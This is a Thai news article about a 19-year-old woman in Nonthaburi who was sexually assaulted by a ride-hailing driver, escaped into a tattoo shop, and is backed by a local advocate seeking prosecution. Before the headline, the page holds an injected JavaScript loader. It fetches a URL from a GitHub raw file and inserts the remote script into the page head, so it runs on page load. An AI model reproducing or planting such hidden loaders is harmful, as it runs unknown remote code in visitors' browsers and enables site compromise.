;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); นนทบุรี เหยื่อสาววัย 19 ร้องสื่อ ถูกคนขับรถโดยสารแอพดังล่วงละเมิด ก่อนวิ่งหนีเอาชีวิตรอด - ThaiReference | อาสาไทยยืนยัน
นนทบุรี เหยื่อสาววัย 19 ร้องสื่อ ถูกคนขับรถโดยสารแอพดังล่วงละเมิด ก่อนวิ่งหนีเอาชีวิตรอด

น.ส.อริสรา ได้ร้องเรียนขอความช่วยเหลือจากนายโชติอนันต์ เลิศฤทธิ์ภูวดล หรือ “เสี่ยเป้ บางกรวย” ผู้ก่อตั้งเพจ “เป้ บางกรวย – นนทบุรีไม่ทิ้งกัน” หลังจากกำลังเดินทางไปร้านสักได้ถูกคนขับรถยนต์รับส่งผู้โดยสารผ่านแอปพลิเคชัน ล่อลวง ลวนลาม และพยายามข่มขืนระหว่างเดินทางจากหอพักบริเวณถนนจันทน์ 24 เพื่อไปยังร้านสักลาย อำเภอบางกรวย จังหวัดนนทบุรี ซึ่งผู้เสียหายเรียกรถผ่านแอปจากตำแหน่งหอพักให้ไปส่งยังร้านสัก ระยะทางประมาณ 23 กิโลเมตร แต่ระหว่างนั่งรถ คนขับกลับพยายามหว่านล้อมหลอกชวนให้ไปโรงแรม เมื่อถึงจุดใกล้ปลายทางข้างร้านสักประมาณ 5 เมตร  คนขับได้จอดรถก่อนปีนจากเบาะคนขับมาด้านหลัง ใช้มือสอดใต้กระโปรงและกางเกงขาสั้นล่วงละเมิดผู้เสียหาย พร้อมใช้เข็มขัดนิรภัยของผู้โดยสารพยายามรัดตัว แต่ผู้เสียหายดิ้นหนีได้ทัน รีบวิ่งออกจากรถไปขอความช่วยเหลือจากร้านสัก ขณะที่ผู้ก่อเหตุขับรถยนต์หลบหนีไปทันที

ด้านนายโชติอนันต์ หรือ “เสี่ยเป้ บางกรวย” ระบุว่า จากข้อมูลที่ฟังมา ผลชันสูตรตรวจร่างกายไม่น่าจะใช้เวลานานถึง 2–3 เดือน ปกติไม่ควรเกิน 1 เดือน พร้อมยืนยันว่าจะติดตามคดีให้ถึงที่สุด และประสานกับร้อยเวรและผู้กำกับการเพื่อเร่งรัดสำนวน เพราะพฤติกรรมเช่นนี้ทำให้คนขับแอปดีๆ เสื่อมเสีย พร้อมกล่าวว่า คนพวกนี้ต้องเอาออกจากสังคม เราทำงานสุจริตกันอยู่ ไม่ควรมีคนแบบนี้มาทำให้วงการเสียหาย เดี๋ยวกูจะเอามึงเข้าคุกให้ได้

ขณะที่นายศุภณัฐ อายุ 32 ปี เจ้าของร้าน Smooth Tattoo พลเมืองดีที่ช่วยเหลือผู้เสียหาย เปิดเผยว่า เวลาประมาณ 13.00 น. ผู้เสียหายได้เปิดประตูร้านวิ่งเข้ามาร้องไห้จนคิดว่าอาจทะเลาะกับแฟน ก่อนผู้เสียหายบอกว่าถูกคนขับ พยายามจะละเมิด ตนจึงเปิดประตูร้านไปดูแต่รถคันดังกล่าวขับหลบหนีไปแล้ว จากนั้นพยายามติดต่อคนขับผ่านแอป ซึ่งเจ้าตัวปฏิเสธทุกอย่างและอ้างว่ากลัวถูกทำร้าย ตนจึงพาผู้เสียหายไปแจ้งความและไปตรวจร่างกายจนเสร็จในเวลา 19.00 น.  ซึ่งพฤติกรรมลักษณะนี้น่าประณามมาก และเป็นช่องโหว่สำคัญของบริการรถผ่านแอปที่อาจมีการสวมรอยบัญชีผู้อื่นมาขับจริง ทำให้ตรวจสอบประวัติ ที่อยู่ และข้อมูลส่วนตัวของผู้ขับไม่ได้ ซึ่งอาจนำไปสู่การก่ออาชญากรรมซ้ำได้ หากวันนั้นผู้เสียหายหนีไม่ทันอาจถึงขั้นอันตรายถึงชีวิต และทำให้ความเชื่อมั่นของผู้โดยสารต่อระบบแอปเรียกรถลดลงอย่างมาก

ภาพ/ข่าว ฉัตรมงคล สิงห์โต ผู้สื่อข่าว จ.นนทบุรี